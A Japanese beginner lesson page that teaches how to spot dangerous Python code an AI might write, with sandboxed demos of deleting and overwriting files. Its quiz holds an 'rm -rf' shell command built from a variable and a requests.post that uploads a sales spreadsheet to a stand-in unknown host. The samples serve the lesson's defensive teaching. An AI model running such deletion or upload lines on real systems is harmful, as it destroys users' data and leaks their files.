LEVEL 10 ・ AI × Python / Lesson 27
危険なコードの見分け方
削除・上書き・外部への送信など、危険なサインを、安全な仮想フォルダで体験しながら学びます。
このレッスンが終わったら
「消す・上書きする・外へ送る・コマンドを実行する、の4つが出たら立ち止まる。読めないコードは実行しない」と言える。
できることを見る
AIは、とても便利ですが、**間違うことがあります。**そして、コードの間違いは、大事なファイルを消したり、上書きしたりする、取り返しのつかない事故につながることがあります。
今回は、危険なコードの見分け方を学びます。安全のために、このページの中の仮想フォルダで、わざと危険なコードを動かしてみましょう。(あなたのパソコンのファイルは、無事です)
動かしてみる
AIが「不要なフォルダを整理します」と言って書いた、という想定のコードです。shutil.rmtree という行が、フォルダごと全部消す命令です。
この欄では、サンプルファイルが使えます。実行のたびに、ファイルは最初の状態に戻ります。
▶ 実行を押すと、ここに結果が出ます
請求書のフォルダが、中身ごと、一瞬で消えました。「ごみ箱」には、入りません。自分のパソコンで、本物のフォルダに対して実行したら、元に戻せません。
1行ずつ読む
危険なコードには、**よく出る「サイン」**があります。見つけたら、実行する前に立ち止まります。
| サイン | なぜ危ない? | どうする? |
|---|---|---|
shutil.rmtree / os.remove / .unlink() | ファイルやフォルダを、削除する | 何を消すのか、対象のパスを確認。まず、表示だけで試す |
open(..., "w") で、元のファイルを開く | 中身が全部消えて、上書きされる | 保存先が、別の名前になっているか確認 |
os.system / subprocess | パソコンに、直接コマンドを送る | 理由が分からなければ、実行しない |
eval / exec | 文字を、そのままコードとして実行する | 使わない形に、書き直してもらう |
requests.post(...) | データを、外部のサーバーに送る | 送り先のURLと、送る中身を確認。知らない先なら、実行しない |
API_KEY = "sk-..." | キー(合鍵)が、コードに丸見え | 環境変数に置く。コードを共有しない |
pip install 見慣れない名前 | 怪しい部品を、取り込む | 名前を、検索して、本物か確認する |
1か所だけ変える
次のコードは、「集計結果を、保存します」というものです。ところが、保存先が、元のファイルになっています。
この欄では、サンプルファイルが使えます。実行のたびに、ファイルは最初の状態に戻ります。
▶ 実行を押すと、ここに結果が出ます
元の売上データ(7行)は、たった2行の集計結果に置き換わりました。 "w" は、すでにあるファイルを、全部消して書き直すためです。
自分で書く
お題① さきほどの、元のファイルを上書きするコードを、安全に書き直してください。保存先を summary.csv に変えると、元の sales.csv は無事で、行数は 7行 のままです。
この欄では、サンプルファイルが使えます。実行のたびに、ファイルは最初の状態に戻ります。
▶ 実行を押すと、ここに結果が出ます
ヒントを見る
1つ目の open の、ファイル名を、"sales.csv" から "summary.csv" に変えます。(2つ目の open は、元のファイルを読んで確かめるので、そのままです)
答えの例を見る
with open("summary.csv", "w", encoding="utf-8") as f:
f.write("部署,合計\n営業,1110000\n")
with open("sales.csv", encoding="utf-8") as f:
print(len(f.readlines()))お題②(見つけてみよう) 次の3つのコードのうち、どこが危ないでしょうか。
# A
import os
os.system("rm -rf " + folder_name)
# B
import requests
requests.post("http://unknown-site.example/upload", files={"f": open("sales.xlsx", "rb")})
# C
API_KEY = "sk-abc123-secret"答えを見る
- A: パソコンに、直接「削除」のコマンドを送っています。
folder_nameの中身によっては、大事なフォルダを全部消す可能性があります。 - B: **売上のExcelを、知らないサーバーに、送っています。**情報漏えいです。実行してはいけません。
- C: **キー(合鍵)が、コードに直接書かれています。**コードを人に見せたり、AIに貼ったりすると、漏れます。